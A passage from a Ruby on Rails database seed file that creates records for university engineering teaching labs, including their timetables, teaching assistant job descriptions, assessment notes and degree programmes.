nil)\n ActivityAssess.where(activity_id: a204.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a204.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a204.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a205 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at205 = ActivityTimetable.where(activity_id: a205.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a205.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a205.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a205.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a205.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a205.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a206 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at206 = ActivityTimetable.where(activity_id: a206.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a206.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a206.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a206.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a206.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a206.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a207 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"514\").first_or_create!(name: \"Heat engines 2\",\n name_abrv: \"HEATENG2\", archived: false, in_drive: false, user_id: 4)\n at207 = ActivityTimetable.where(activity_id: a207.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a207.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a207.id).first_or_create!(criteria: \"\",\n job_desc:\"Straightforward demonstration of open and closed heat engines systems\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a207.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a207.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a207.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a208 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at208 = ActivityTimetable.where(activity_id: a208.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a208.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"link\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a208.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 20.0)\n ActivityAssess.where(activity_id: a208.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a208.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a208.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a209 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 4)\n at209 = ActivityTimetable.where(activity_id: a209.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a209.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a209.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a209.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a209.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a209.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a210 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at210 = ActivityTimetable.where(activity_id: a210.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a210.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a210.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a210.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a210.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a210.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a211 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 1)\n at211 = ActivityTimetable.where(activity_id: a211.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a211.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a211.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a211.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a211.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a211.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a212 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 4)\n at212 = ActivityTimetable.where(activity_id: a212.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a212.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a212.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a212.id).first_or_create!(assess_weight: 5.0, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a212.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a212.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a213 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 3)\n at213 = ActivityTimetable.where(activity_id: a213.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a213.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a213.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a213.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a213.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a213.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a214 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 3)\n at214 = ActivityTimetable.where(activity_id: a214.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a214.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a214.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a214.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a214.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a214.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a215 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"517\").first_or_create!(name: \"Inertia\",\n name_abrv: \"INERTIA\", archived: false, in_drive: false, user_id: 2)\n at215 = ActivityTimetable.where(activity_id: a215.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a215.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a215.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring torque and acceleration using LabVIEW and motor apparatus to calculate inertia of a flywheel - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a215.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a215.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a215.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a216 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 2)\n at216 = ActivityTimetable.where(activity_id: a216.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a216.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jktbdqt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a216.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a216.id).first_or_create!(assess_weight: 2.5, notes: \"Post lab quiz preferred or short assignment. Previously, the assignment has consisted of a number of questions.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a216.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a216.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a217 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 3)\n at217 = ActivityTimetable.where(activity_id: a217.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a217.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a217.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a217.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a217.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a217.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a218 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at218 = ActivityTimetable.where(activity_id: a218.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a218.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a218.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a218.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a218.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a218.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a219 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: true, in_drive: false, user_id: 3)\n at219 = ActivityTimetable.where(activity_id: a219.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a219.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a219.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a219.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a219.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a219.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a220 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at220 = ActivityTimetable.where(activity_id: a220.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a220.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a220.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a220.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a220.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a220.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a221 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC453\").first.id, code: \"520\").first_or_create!(name: \"Non linear vibration\",\n name_abrv: \"NONLINEARVIB\", archived: true, in_drive: false, user_id: 3)\n at221 = ActivityTimetable.where(activity_id: a221.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a221.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a221.id).first_or_create!(criteria: \"\",\n job_desc:\"? Previously had claims from MEC dpt after work has been done by GTAs. (email from Jason Hawley 05/11/18)\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a221.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a221.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a221.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a222 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"unknowncode6\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: true, in_drive: false, user_id: 1)\n at222 = ActivityTimetable.where(activity_id: a222.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a222.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a222.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a222.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a222.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a222.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a223 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"521AE\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 5)\n at223 = ActivityTimetable.where(activity_id: a223.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a223.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a223.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", 